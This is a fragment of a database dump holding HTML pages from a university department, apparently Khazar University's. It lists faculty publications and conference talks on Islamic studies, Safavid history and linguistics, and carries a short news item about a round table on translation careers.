Şərqşünaslıq\r\ninstitutunun “Elmi araşdırmalar”ı məcmuəsi, IX buraxılış, Bakı, 2012, səh. 437-446.<em></em></p>\r\n<p style=\"text-align:justify\">14. Molla Sədranın\r\ndini-fəlsəfi təlimi: ümumi baxış və bəzi qeydlər, Tezis, Akademik V.\r\nMəmmədəliyevin 70 illik yubileyinə həsr olunmuş “Şərqşünaslığın aktual\r\nproblemləri” mövzusunda Respublika elmi konfransının materialları, Bakı, 2012,\r\nsəh. 387-388.<em></em></p>\r\n<p style=\"text-align:justify\">15. Sünnədə hüquq və qeyri-hüquq\r\nməsələləri haqqında, Məqalə, İnsan Hüquqları İnstitutunun 15 illik yubileyi\r\nmünasibətilə nəşr edilmiş “Din, etiqad azadlığı və təhlükəsizlik problemləri”\r\nçoxcildliyinin (6 cilddə) “Din və ictimai təhlükəsizliyin aktual problemləri”\r\ncildi. Bakı, 2013, səh. 169-184.<em></em></p>\r\n<p style=\"text-align:justify\">16.&nbsp;Bir daha İbn Rüşd və ikili\r\nhəqiqət haqqında, Məqalə, Azərbaycan Şərqşünaslıq elminin inkişaf yolları,\r\nAkademik Vasim Məmmədəliyevin anadan olmasının 70 illiyinə həsr olunmuş\r\nBeynəlxalq konfransın materialları. Bakı, 27-28 iyun 2013-cü il, səh. 765-767.&nbsp;<em></em></p>\r\n<p style=\"text-align:justify\">17. Dönüklərin cəzalandırılması baxımından islamda etiqad azadlığı\r\nhaqqında, Məqalə, “Azərbaycan şərqşünaslığı” jurnalı, № 1 (10), 2013, səh. 41-44<em>.</em></p>\r\n<p style=\"text-align:justify\">18. Quran ayələrinin mövzular üzrə təsnifatı – Fehrist (3 cilddə.\r\nElmi redaktor: Akad. V. Məmmədəliyev), Kitab,&nbsp;Bakı, 2014,&nbsp;2674 səh<em></em></p>\r\n<p style=\"text-align:justify\">19. Çağdaş Azərbaycanda islam və cəmiyyət, Kitab,&nbsp;Bakı: “Yeni\r\nNəsil”, 2009,&nbsp;122 səh, Q.\r\nYaquboğlu, S. Mustafaoğlu<em></em></p>\r\n<p style=\"text-align:justify\">20. İslam və elm:\r\nümumi qeydlər, Məqalə, “Azərbaycan şərqşünaslığı” jurnalı, № 1 (11), 2014, səh.\r\n14-17.<em></em></p>\r\n<p style=\"text-align:justify\">21. Siyasi-ideoloji yanaşma kimi bir daha “islam fundamentalizmi”\r\nhaqqında, Məqalə, AMEA akad. Z.M. Bünyadov ad. Şərqşünaslıq institutunun “Elmi\r\naraşdırmalar” məcmuəsi, Bakı, 2014, səh. 367-375<em>.&nbsp;</em></p>\r\n<p style=\"text-align:justify\">22. Müsəlmanın gündəlik ibadət kitabçası, Kitab&nbsp;Bakı:\r\n“Nurlar”, 2014,&nbsp;191 səh<em>.</em></p>\r\n<p style=\"text-align:justify\">23. İslamda ağıl: mahiyyəti və funksiyaları,\r\nMəqalə, “Azərbaycan şərqşünaslığı” jurnalı, № 1 (11), 2014, səh. 14-17.<em></em></p>\r\n<p style=\"text-align:justify\">24. İbn Heysəm – optika problemlərinin müsəlman\r\ntədqiqatçısı kimi, Məqalə, “Dövlət və din” ictimai fikir toplusu, Bakı, 2015, №\r\n06 (35), səh. 69-77<em></em></p>\r\n<p style=\"text-align:justify\">25. Dini radikalizmlə mübarizədə mö`tədillik\r\nmetodoloji vasitə kimi, Məqalə, Dini radikalizm: tarixi, yaranma səbəbləri və\r\nfəsadları. Bakı, 2016, səh. 149-171.<em></em></p>\r\n<p style=\"text-align:justify\">26.&nbsp;Ramazanı tanıyaq (30 sual-cavabda Ramazan ayı və orucu haqqında –\r\nillüstasiyalı), Kitab, Bakı, 2015, 46 səh.</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\">\r\n<br>\r\n<em></em></p>\r\n<p style=\"text-align:justify\"><strong>Dr.Elnurə Əzizova<em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"text-align:justify\">1. Məhəmməd Peyğəmbər dövründə işgüzar\r\nhəyat və peşələr, .Monoqrafiya, İstanbul, 2011 İSAM yayınları, 494 s.İSAM\r\nyayınları, 494 s.<em></em></p>\r\n<p style=\"text-align:justify\">2. “İslamda çalışma hayatı ve meslekler”\r\n(Türkcə), Elmi məqalə, BDU İlahiyyat Fakültəsi Elmi Məcmuəsi, N08 (17) Sentyabr\r\n2007, Bakı,s. 161-189.<em></em></p>\r\n<p style=\"text-align:justify\">&nbsp;3. “İslam’ın İlk Dönemlerinde Sağlık\r\nHizmetinde Kadınlar”, (Türkcə),&nbsp;Elmi məqalə, Filologiya Məsələləri, Azərbaycan\r\nMilli Elmlər Akademiyası, N 2, Bakı, 2008, s. 511-516<em></em></p>\r\n<p style=\"text-align:justify\">4. “İslam’ın İlk Dönemlerinde Tıp ve\r\nTedavi Yöntemleri”, (Türkçe)&nbsp;Elmi məqalə, Filologiya Məsələləri, Azərbaycan\r\nMilli Elmlər Akademiyas, N 5, Bakı, 2008, s. 404-413<em></em></p>\r\n<p style=\"text-align:justify\">5.“Türk Edebiyatında Kerbela” (Türkcə)\r\nElmi məqalə Filologiya Məsələləri, Azərbaycan Milli Elmlər Akademiyas, N 6,\r\nBakı, 2007, s. 289-296.<em></em></p>\r\n<p style=\"text-align:justify\">6. “Arap Edebiyatında Kerbela”, (Türkcə),\r\nElmi məqalə, Elmi Araşdırmalar, XXII, Bakı, 2007, s. 152-155<em></em></p>\r\n<p style=\"text-align:justify\">7. “Fars Edebiyatında Kerbela” (Türkcə),\r\nElmi məqalə, Dil və Ədəbiyyat, 4(58), Bakı, 2007, s. 30-32<em></em></p>\r\n<p style=\"text-align:justify\">8. “Dini pluralism və həqiqət iddiası”,\r\nElmi məqalə, Dövlət və Din, 2 (6), Bakı, 2008, s. 154-162<em></em></p>\r\n<p style=\"text-align:justify\">9. “Sayentologiya”, Elmi məqalə, Dövlət və\r\nDin, 3 (4), Bakı, 2007, s. 202-210<em></em></p>\r\n<p style=\"text-align:justify\">10. “İslam Mədəniyyətinin qurucu\r\ndəyərlərindən biri olaraq çalışmaq”, Elmi məqalə, Dövlət və Din, 4(8), Bakı\r\n2008, s. 190-197<em></em></p>\r\n<p style=\"text-align:justify\">11. İslam’ın İlk Dönemlerinde Eğlence\r\nHayatı Üzerine Bazı Notlar”, (Türkcə), Elmi məqalə, Bakı Dövlət Universiteti\r\nİlahiyyat Fakültəsi Elmi Məcmuəsi, Aprel, Bakı, 2009, s. 170-181<em></em></p>\r\n<p style=\"text-align:justify\">12. “Cahiliye’den İslam’a Sütanneliği\r\nÜzerine Bazı Notlar”, Elmi məqalə, Bakı Dövlət Universiteti İlahiyyat Fakültəsi\r\nElmi Məcmuəsi,, 13, Aprel, Bakı 2010,s. 195-204<em></em></p>\r\n<p style=\"text-align:justify\">13. “Cahiliye’den İslam’a Ticari Hayat\r\nÜzerine Bazı Notlar”, Elmi məqalə, Bakı Dövlət Universiteti İlahiyyat Fakültəsi\r\nElmi Məcmuəsi, 14, Sentyabr, Bakı 2010, s. 105-114.<em></em></p>\r\n<p style=\"text-align:justify\">14. “Possibilities of Islamic Pluralism:\r\nSome Notes on Scripture” (İngiliscə), Elmi məqalə, Collection of Scientific\r\nJournals of Baku State University, Baku, vol. 17, 2012, s. 53-63.<em></em></p>\r\n<p style=\"text-align:justify\">15. “Tenûh”, Ensiklopediya məqaləsi, DİA,\r\nİSAM, İstanbul 2011, XL,s. 468-469<em></em></p>\r\n<p style=\"text-align:justify\">16. “Teym b. Mürre (Benî Teym b. Mürre)”,\r\nEnsiklopediya məqaləsi, DİA, İSAM, İstanbul 2013, XLI, s. 52-53<em></em></p>\r\n<p style=\"text-align:justify\">17. “Teymâ”, Ensiklopediya məqaləsi, DİA,\r\nİSAM, İstanbul 2013, XLI, s. 53-54<em></em></p>\r\n<p style=\"text-align:justify\">18. “Teymullah”, Ensiklopediya məqaləs,\r\nDİA, İSAM, İstanbul 2013, XLI, s. 56<em></em></p>\r\n<p style=\"text-align:justify\">19. “Tihâme”, Ensiklopediya məqaləsi, DİA,\r\nİSAM, İstanbul 2013, XLI, s. 153-154<em></em></p>\r\n<p style=\"text-align:justify\">20. “Ubeyd b. Şeriyye”, Ensiklopediya\r\nməqaləsi, DİA, İSAM, İstanbul 2013, XLII, s. 15-16.<em></em></p>\r\n<p style=\"text-align:justify\">21. “Ukayl (Benî Ukayl)”, Ensiklopediya\r\nməqaləsi, DİA, İSAM, İstanbul 2013, XLII, s. 57-59<em></em></p>\r\n<p style=\"text-align:justify\">22. “Ukaz”, Ensiklopediya məqaləsi, DİA,\r\nİSAM, İstanbul 2013, XLII, s. 61-62<em></em></p>\r\n<p style=\"text-align:justify\">23. “Üreyne (Benî Üreyne)”, Ensiklopediya\r\nməqaləsi, DİA, İSAM, İstanbul 2013, XLII, s. 174-175<em></em></p>\r\n<p style=\"text-align:justify\">24. “Vâdilkurâ”, Ensiklopediya məqaləsi,\r\nDİA, İSAM, İstanbul 2013, XLII, s. 421-423<em></em></p>\r\n<p style=\"text-align:justify\">25. “Zübyân (Benî Zübyân)”, Ensiklopediya\r\nməqaləsi, DİA, İSAM, İstanbul 2013, XLIV, s. 527<em></em></p>\r\n<p style=\"text-align:justify\">26. “Zülmecâz”, Ensiklopediya məqaləsi,\r\nDİA, İSAM, İstanbul 2013, XLIV, s. 570-571<em></em></p>\r\n<p style=\"text-align:justify\">27. “Zühre (Benî Zühre)”, Ensiklopediya\r\nməqaləsi, DİA, İSAM, İstanbul 2013, XLIV,s. 544.<em></em></p>\r\n<p style=\"text-align:justify\">28. “Qlobal əxlaqın və insanlıq\r\nprinsipinin dini əsaslarının qarşılıqlı təhlili”, Elmi məqalə, Bakı Dövlət\r\nUniversiteti İlahiyyat Fakültəsi Elmi Məcmuəsi, 19, 2013, s. 154-159<em></em></p>\r\n<p style=\"text-align:justify\">29. Beynəlxalq sənədlərdə din azadlığının\r\nəhatəsi məsələsi, Elmi məqalə, Bakı Dövlət Universiteti İlahiyyat Fakültəsi\r\nElmi Məcmuəsi, 21, 2014, s. 189-198.<em></em></p>\r\n<p style=\"text-align:justify\">30. İslamın Azərbaycana gəlişi və\r\nyayılışı,, Monoqrafiya (Azərbaycanda ənənəvi din) içində, Dini Qurumlala İş\r\nÜzrə Dövlət Komitəsi, “Elm və Təhsil”, Bakı, 2014., s. 8-30.<em></em></p>\r\n<p style=\"text-align:justify\">31. Dini tolerantlıq yoxsa fərqliliklərin\r\nvəhdəti: Azərbaycan tolerantlıq modelinin əsas göstəriciləri, Monoqrafiya\r\n(Azərbaycanda tolerantlıq ənənəsi) içində, Dini Qurumlarla İş Üzrə Dövlət\r\nKomitəsi, “Nurlar”, Bakı 2015, s. 26-49<em></em></p>\r\n<p style=\"text-align:justify\">32. Azərbaycan cəmiyyətindəki dindarlıq\r\nsəviyyəsinin İslam dünyasındakı dindarlıq səviyyəsi ilə müqayisəsi, Elmi məqalə\r\n(Azərbaycanda İslam) elmi məqalələr toplusu içində, Dini Qurumlarla İş Üzrə Dövlət\r\nKomitəsi,“Nurlar”, Bakı, 2015., s. 52-75.<em></em></p>\r\n<p style=\"text-align:justify\">33. Azərbaycan tolerantlıq modelinə təsir\r\nedən dini-mədəni amillər, Elmi məqalə, Bakı Dövlət,Universiteti İlahiyyat\r\nFakültəsi Elmi Məcmuəsi, 24, 2015, s. 113-130.<em></em></p>\r\n<p style=\"text-align:justify\">34. Türkiye Kaynaklı Siyer Çalışmalarının\r\nBağımsızlık Sonrası Azerbaycanda Hz.Peygamber, Tasavvuruna Etkileri, “Türkiyede\r\ntüm yönleriyle siyer çalışmaları”,Beynəlxalq simpozium kitabında nəşr olunmuş\r\nməqalə, Meridyen, İstanbul, 2016., s. 57-71.<em></em></p>\r\n<p style=\"text-align:justify\">35.&nbsp;Dinlər tarixində radikalllıq nümnələri,\r\nMonoqrafiyiya (Dini radikalizm: Tarixi, yaranma səbələri və fəsadları)\r\niçində,&nbsp;Dini Qurumlala İş Üzrə Dövlət Komitəsi, Bakı 2016, s, 19-52.<em></em></p>\r\n<p style=\"text-align:justify\">36.&nbsp;Azərbaycanın məzhəblərarası tolerantlıq tarixindən XX əsrin əvvəlinə aid\r\nbir nümunə: Füyuzat Jurnalı, BDU İlahiyyat fakültəsinin Elmi Məcmuəsi, 27 iyul\r\n2017, s. 205-216.<em></em><u1:p></u1:p></p>\r\n<p style=\"text-align:justify\">37. Modern ve Gelenekselin\r\nKavşağında (Ümmetten Millete Geçişte) Azerbaycan’da Türk-Müslüman Kimliğinin\r\nOluşumunda Türkiye Etkisi: Füyuzat Dergisi (1906- 1907), “I. Milletlerarası\r\nTürkiye-Azerbaycan Münasebetleri Sempozyumu (12-14 May, 2016) Simpozium\r\nkitabında nəşr olunmuş məqalə, s. 163-176.</p>'),(5240,3038,'en','Round table discussion on “Career in Translation sphere”','Career Center of Khazar University held a round-table discussion on...','<p>Career Center of Khazar University held a round-table discussion on “Career in Translation sphere” with participation of the students on March 13, 2018. Nasimi Hasanov, Director of “Shams” Center for Translation Services, who has twenty-year experience in translation, shared his experience with the students. Nasimi Hasanov talked about career prospects in the field of translation. Moreover, referring to his own experience, he mentioned key factors which should be taken into consideration for a successful career, and gave some advice on how to professionally use language skills. Also, Nasimi Hasanov answered students’ questions. Rovshan Alakbarli, Head of Department of Inspection, “Shams” Center for Translation Services, also participated in the discussion.  </p>'),(874,579,'en','Publications','Publications','<div style=\"text-align:justify\"><br></div><p style=\"text-align:justify\">The Department has published various articles, monographs and\r\nedited volumes on various areas of languages and world civilizations. One of\r\nthe major focuses of the Department lies in translating articles and books from\r\nPersian, Arabic, German, French and Spanish into Azerbaijani and vice-versa, in\r\nclose cooperation with Translation Studies Center at the University.</p>\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n<p style=\"text-align:justify\"><strong>Dr. Zivar Huseynli</strong></p>\r\n<p style=\"text-align:justify\"><strong>ARTICLES:</strong></p>\r\n<p style=\"text-align:justify\">1&nbsp;November, 15 November 2008: \"Banuye Isfahani\" in\r\nKhazar magazine&nbsp;Baku, Azerbaijan</p>\r\n<p style=\"text-align:justify\">May-June 2008: \" Role of the Kharabagians in the Politics and\r\ngovernment of Gajar\" in Khazar magazine Baku, Azerbaijan (translation)</p>\r\n<p style=\"text-align:justify\">2010, №.4(75). International scientific-practical journal of Language\r\nand literature. Baku, Azerbaijan. “Safavid period and Turkish Language”.P.8-13</p>\r\n<p style=\"text-align:justify\">2011, №.3 (79), International scientific-practical journal of Language\r\nand literature. Baku, Azerbaijan. “Banuye- İsfahani and her Hajj travel book”.</p>\r\n<p style=\"text-align:justify\">P. 133-139</p>\r\n<p style=\"text-align:justify\">2012, №.1(81) International scientific-practical journal of Language\r\nand literature. Baku, Azerbaijan. “Dulkadirs and Safavid State (until the Shah\r\nAbbas I time ) P.296-299</p>\r\n<p style=\"text-align:justify\">2013 no.4. Filologiya məsələləri, Elm və təhsil, Bakı, “Historical\r\nsources about first Safavid period (till end of Shah Abbas period)”.</p>\r\n<p style=\"text-align:justify\">2013. но. 16 (675ВЕСТНИК МГЛУ (Журнал Московский государственный\r\nлингвистический университета. Серия \"Филология. Теория языка. Языковое\r\nобразование\" МОСКВА,)</p>\r\n<p style=\"text-align:justify\">“Два языка в период Сефевидов”</p>\r\n<p style=\"text-align:justify\">2014, no. 6. Filologiya məsələləri, Elm və təhsil, Bakı,</p>\r\n<p style=\"text-align:justify\">Turkish letters of the Safavid kings.</p>\r\n<p style=\"text-align:justify\">International Symposium of Ahi \"Quality Centered Life\".\r\nSymposium book. “Ahi texts in Persian literature, “Futuvvetname ”. 2011,\r\nKayseri, Turkey</p>\r\n<p style=\"text-align:justify\">International Symposium “South Caucasus People Culture\r\nLanguage-History-relations” Symposium book. “Turkish language in İran, from The\r\nGhaznavids’ period to the end of Safavid). Ordu, Turkey .And Khazar Journal of\r\nHumanities and Social Sciences, Current Issue volume 14 №2. 2011. (English)</p>\r\n<p style=\"text-align:justify\">International Symposium “ Principality Dulkadir” Symposium book\r\n“Dulkadir migrations to Safavid territory, and their role of the state” .vol.2.\r\np.105-128. Kahramanmarash, 2012, June. Turkey</p>\r\n<p style=\"text-align:justify\">International Symposium “Azerbaijan in World Literature” Symposium\r\nbook, Azerbaijan in european`s travelogues (Gajar era). P. 638-652. Baku 2012</p>\r\n<p style=\"text-align:justify\"><strong>Conferences and Symposiums</strong></p>\r\n<p style=\"text-align:justify\">7-9 May, 2007: International Congress, Qazvin in the Safavid era.\r\n\" Qazvin poets and their connection with Palace (Shah Tahmasib\r\nperiod)\" Qazvin, Iran</p>\r\n<p style=\"text-align:justify\">8 November, 2009: International Symposium, Safavids and Shah Ismail\r\n“ Role of Turkish language in Safavid period”. Istanbul. Turkey</p>\r\n<p style=\"text-align:justify\">9-10 November, 2009: International Conference, Baku Capital of\r\nIslamic Culture 2009, “Baku on travel books of Qajar time”. Baku. Azerbaijan</p>\r\n<p style=\"text-align:justify\">25-28 November, 2010: International Conference, South Caucasus\r\nPeople Culture Language-History-relations” Ordu, Turkey</p>\r\n<p style=\"text-align:justify\">29 April-1 May, 2011: International Symposium, The Principality\r\nDulkadir, Dulkadir migrations to Safavid areas, and their role of the state.\r\nKahramanmarash, Turkey.</p>\r\n<p style=\"text-align:justify\">27-28 May, 2011: International Symposium, Azerbaijan in World\r\nLiterature. Azerbaijan in european`s travel books (Gajar Era) Baku, Azerbaijan.</p>\r\n<p style=\"text-align:justify\">1-2June, 2011: International Confrance ,Actual Problems of Modern\r\nEastern Studies, Two languages of Safavid period” Baku, Azerbaijan.</p>\r\n<p style=\"text-align:justify\">20-22 September, 2011: International Symposium, Ahi \"Quality\r\nCentered Life\", “Ahi texts in Persian literature, Futuffetnames”. 2011,\r\nKayseri, Turkey</p>\r\n<p style=\"text-align:justify\">23-25 September, 2011: International Symposium, Somoncu Baba.\r\nAudience. Aksaray, Turkey.</p>\r\n<p style=\"text-align:justify\">18-21 April, 2012: International Symposium, Folklore and\r\nLinguo-Culturology of the Caucasian Peoples “Lahij vand Lahijian in\r\nCaucas.Tbilisi. Georgia</p>\r\n<p style=\"text-align:justify\">7-8 May, 2012: International Scientific Symposium, Historical and\r\nSource studings of East of the Middle Ages. “Examples of Turkish Literature in\r\nPersian historical texts in XVI-XVII ages”. Baku. Azerbaijan</p>\r\n<p style=\"text-align:justify\">15-17 May, 2012: International Symposium, Connections of Turkey\r\n–Iran Language and Literature. “Turkish Military Expression on Persian texts in\r\nSafavid Period”. İstanbul. Turkey.</p>\r\n<p style=\"text-align:justify\">31 May-2 June, 2012: The first International Symposium, Ashug\r\nSummani and Tradition of profession Ashug. “Ashug epics of Azerbaijan (Safavid\r\nperiod)” Arzurum. Turkey</p>\r\n<p style=\"text-align:justify\">24 -28 September, 2012:&nbsp;The VII. International Congress of Turkish\r\nLanguage. “Turkish Sociology Expression on Persian texts in Safavid Period”.\r\nAnkara. Turkey</p>\r\n<p style=\"text-align:justify\">4-6 October, 2012: International Symposium, Marash in Othmani\r\nperiod. Member of Acadamic staff .“Two historical book about Safavi period from\r\nthe Marash writers”. Kahramanmarash. Turkey.</p>\r\n<p style=\"text-align:justify\">5-6 April, 2013: International Symposium, Shah Khatai and Sultan\r\nSalim. “Shah Ismail\'s role in the development of the Azerbaijan literary\r\nlanguage and literature”. Baku. Azerbaijan</p>\r\n<p style=\"text-align:justify\">7-8 May, 2013: International Scientific Symposium, Eastern History\r\nand Source Studies Middle Ages, \"Persian historical texts written in the\r\nXVI-XVII centuries of Turkish literature.\" Baku. Azerbaijan</p>\r\n<p style=\"text-align:justify\">15-17 May, 2013: I International Symposium Turkish-Iranian\r\nlanguage and literature connections, “Turkish military terms in Persian texts,\r\nSafavid period”. Istanbul. Turkey</p>\r\n<p style=\"text-align:justify\">31 May-2 June, 2012: I International Symposium Ashug Summani and\r\ntradition of profession of ashug. “Azerbaijani Ashuq epics (the Safavid\r\nperiod)”. Erzurum. Turkey</p>\r\n<p style=\"text-align:justify\">24-28 September, 2012: VII. International Turkish Language\r\nCongress. “The Turkish social terms into Persian”. Ankara. Turkey.</p>\r\n<p style=\"text-align:justify\">4-6 Oktober, 2012: International Symposium Marash at the Ottoman\r\nperiod, “</p>\r\n<p style=\"text-align:justify\">Two historical works from the Marashi writers about Safavid\r\nperiod”. Kahramanmarash. Turkey.</p>\r\n<p style=\"text-align:justify\">5-6 April, 2013: International Symposium Shah Khatai and Sultan\r\nSalim. “Shah Ismail\'s role in the development of Azerbaijan literary language\r\nand literature”. Baku. Azerbaijan.</p>\r\n<p style=\"text-align:justify\">24 May, 2013: XIII National Conference Medieval manuscripts and\r\nhistorical problems of the Azerbaijan culture. “Historical sources about first\r\nSafavid period”.</p>\r\n<p style=\"text-align:justify\">Baku. Azerbaijan.</p>\r\n<p style=\"text-align:justify\">15-16 Novambr, 2013: International Symposium Marash at the Republican\r\nperiod. “Marashi surname scholars, living far away from Marash”.\r\nKahramanmarash. Turkey.</p>\r\n<p style=\"text-align:justify\">30 Novambr, 2013: Seminar, The Safavid period recent studies of\r\nAzerbaijani scientists. “About the development of the Turkish language as the\r\nstate”. Khazar University, Baku. Azerbaijan.</p>\r\n<p style=\"text-align:justify\">11-12 May, 2014: II. International Symposium Turkish-Iranian\r\nlanguage and literature connections, “Turkish words (about ware) in Persian\r\ntexts, Safavid period”. Tehran. Iran</p>\r\n<p style=\"text-align:justify\">21-23 May 2014: 5th International Symposium on Turkish Studies:</p>\r\n<p style=\"text-align:justify\">OĞUZ: Languages, History and Cultures. “Turkish terms in Persian\r\nhistorical texts, Safavid period”. Ankara. Turkey.</p>\r\n<p style=\"text-align:justify\">26-28 May, 2014: International Syposium on Culture and Identity in\r\nthe Perspective of 21st Century. “Active Female Identity (Effect of Safavid\r\nPeriod to Present”.Baku. Azerbaijan.</p>\r\n<p style=\"text-align:justify\">28-30 May, 2014: International Syposium on Bayburt history and\r\nculture, from 19st century to present. “Elements of Persian in Bayburtlu Zihni\r\nPoetry”</p>\r\n<p style=\"text-align:justify\">23-25 Oktyabr 2014: International Syposium Turkish History\r\nConsciousness and Historiography. “Persian Writing Turkish Historians’\r\nApproaches to the the Turkish History”, Zonguldak. Turkey</p>\r\n<p style=\"text-align:justify\">&nbsp;</p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><embed style=\"text-align:justify\" noshade=\"noshade\" selected=\"selected\" href=\"http://www.islamansiklopedisi.info/dia/pdf/c42/c420131.pdf\" type=\"application/x-shockwave-flash\">\"&gt;<strong>Konul Kamilzada</strong></p><p style=\"text-align:justify\">1. «Azərbaycan və Koreya dillərində somatik leksika əsasında formalaşan frazeoloji birləşmələr», Elmi məqalə, Azərbaycan Dillər Universiteti Elmi xəbərlər məcmuəsi N1, Bakı 2016<em></em></p><p style=\"text-align:justify\">2.&nbsp;«Azərbaycan və Koreya dillərində sifət və onun oxşar və fərqli xüsusiyyətləri», Elmi məqalə, Azərbaycan Dillər Universiteti Elmi xəbərlər məcmuəsi N3, Bakı 2016</p><p style=\"text-align:justify\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"text-align:justify\"><strong>Sadagat Jumayeva</strong></p><p style=\"text-align:justify\"><strong></strong><span style=\"text-align:justify\">1.&nbsp;Alman dilinin bəzi fonotaktika məsələləri haqqında.&nbsp;“Azərbaycanda Xarici Dillər” jurnalı (2010, №2/3), s.34-38</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">2.&nbsp;Dilöyrənmədə interferensiyanı doğuran əsas səbəblər haqqında. “Alman dili fakültəsinin müstəqil fəaliyyətinin 60 illik yubileyi”-nə həsr olunmuş elmi-praktik konfransın tezisləri,&nbsp;Bakı, 2010, s.94-95.</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">3.&nbsp;Fonoloji sistemin reallaşmasında orfofonik xüsusiyyətlərin tədqiqi. Nitq mədəniyyəti və terminologiyanın aktual problemləri. Respublika elmi konfransının materialları, Bakı, 2011, s.41-45.</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">4.&nbsp;Dilöyrənmədə fonem birləşmələrinin əhəmiyyətinə dair. “Xarici dillərin tədrisinin aktual problemləri” adlı V Respublika Elmi konfransı, Bakı, 2012.</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">5.&nbsp;Dilöyrənmədə kombinator modellərin roluna dair. “Ümummilli lider H.Əliyevin anadan olmasının 90 illiyinə həsr olunmuş “Xarici dillərinin tədrisinin aktual problemləri”. Beynəlxalq elmi-praktiki konfransın materialları, Bakı,6-7 may 2013-cü il,&nbsp;s.119</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">6.&nbsp;Dildə sözün seqment təşkilinə dair. “Ümummilli lider H.Əliyevin&nbsp;90 illik yubileyinə&nbsp;həsr olunmuş “Heydər Əliyev: Azərbaycan dilçiliyi və Azərbaycan dili” mövzusunda elmi-nəzəri konfrans. Bakı, 30 may 2013-cü il.</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">7.&nbsp;Böyük alim, nurlu&nbsp;şəxsiyyət. Fəxrəddin&nbsp;Veysəlli 70. Böyük alim, böyük şəxsiyyət. Baki. Mütərcim 2013. s.248-249.</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">8.&nbsp;Sözün sintaqmatik strukturuna dair. “Azərbaycanda Xarici Dillər” jurnalı (2014-cü il,&nbsp;№2, s.37-42).</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">9.&nbsp;Alman və Azərbaycan dillərində samit birləşmələrinin işlənmə tezliyi.&nbsp;“Azərbaycanda Xarici Dillər” jurnalı. 2015</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">10.&nbsp;Cлоговые модели в немецком и азербайджанском языках. Полтавьский Национальний Педагогичний Университет Имени В.Г. Koroлeнkа. “Филологические науки”. Полтава/ 2015. s.94-98.</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">11.&nbsp;“II xarici dil (alman dili)”. Fənn proqramı. Azərbaycan Respublikası Təhsil Naziri. (2016-ci il).</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">12.&nbsp;Alman və Azərbaycan dillərində frazeoloji çoxmənalılıq və frazeoloji variantlıq. “Azərbaycanda xarici dillər” jurnalı. №1/2016. s.16-21</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"></span><span style=\"text-align:justify\">13.&nbsp;Kombinator təhlilin&nbsp;tədqiqat metodikası. “Azərbaycan Dillər Universiteti. Beynəlxalq Dilçilik konfransı”. 2016.</span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"><br></span></p><p style=\"text-align:justify\"><span style=\"text-align:justify\"><br></span></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p style=\"text-align:justify\"><strong style=\"text-align:justify\">Sevinj Allahverdiyeva</strong></p><p \"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");=\"\" background-position:=\"\" 100%=\"\" 0%;=\"\" border-width:=\"\" initial;=\"\" border-style:=\"\" none;=\"\" border-color:=\"\" text-align:=\"\" justify;=\"\" padding:=\"\" 0in;\"=\"\"><em></em></p><p \"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");=\"\" background-position:=\"\" 100%=\"\" 0%;=\"\" border-width:=\"\" initial;=\"\" border-style:=\"\" none;=\"\" border-color:=\"\" text-align:=\"\" justify;=\"\" padding:=\"\" 0in;\"=\"\"><em></em></p><p style=\"text-align:justify\"><span style=\"text-align:justify\">1.&nbsp;Jurnal- Odlar yurdu Universiteti Elmi Pedaqoji Xəbərlər “Söz yaradıcılığının tətbiqi tarixi “2011&nbsp;№31.&nbsp;(Səh.235-239) (OYU)-Məqalə</span></p><p style=\"text-align:justify\">2.Jurnal- Odlar yurdu Universiteti Elmi Pedaqoji Xəbərlər “Alman dilində söz yaradıcılığı”2011 №32 (Səh.239-243) (OYU) -Məqalə<em></em></p><p style=\"text-align:justify\">3.Jurnal- Odlar yurdu Universiteti Elmi Pedaqoji Xəbərlər “ Alman dilində söz yaradıcılığının vasitə və modelləri” 2012 №33 (Səh. 195-199) (OYU) -Məqalə<em></em></p><p style=\"text-align:justify\">4.&nbsp;Filologiya Məsələləri Jurnalı- “ Azərbaycan dilində söz yaradıcılığının vasitə və modelləri” 2012 №5. ( Səh. 151-156)(OYU) -Məqalə<em></em></p><p style=\"text-align:justify\">5. Filologiya Məsələləri Jurnalı- “ Alman və Azərbaycan dillərində klerikal leksikanın tərcüməsi tarixindən ” 2012 №8. ( Səh. 113-118) (OYU) -Məqalə<em></em></p><p style=\"text-align:justify\">6.&nbsp;Filologiya Məsələləri Jurnalı- “ Klerikal leksikanın tərcümə problemləri” 2016 №6. (Səh.136-140) (Xəzər Universiteti) -Məqalə<em></em></p><p style=\"text-align:justify\">7.&nbsp;Filologiya Məsələləri Jurnalı- “Alman dilində prefiksləşmə” 2016 №8. 9 (Səh.69-73) (Xəzər Universiteti) -Məqalə</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p style=\"text-align:justify\"><strong>Dr.&nbsp;Elvusal Mammadov</strong><em></em></p><p style=\"text-align:justify\">1. Sufilik təlimində iman-ağıl münasibətlərinə dair, Məqalə, “Dövlət və Din” ictimai fikir toplusu, fevral buraxılışı. Bakı, 2010, səh. 89-95.&nbsp;<em></em></p><p 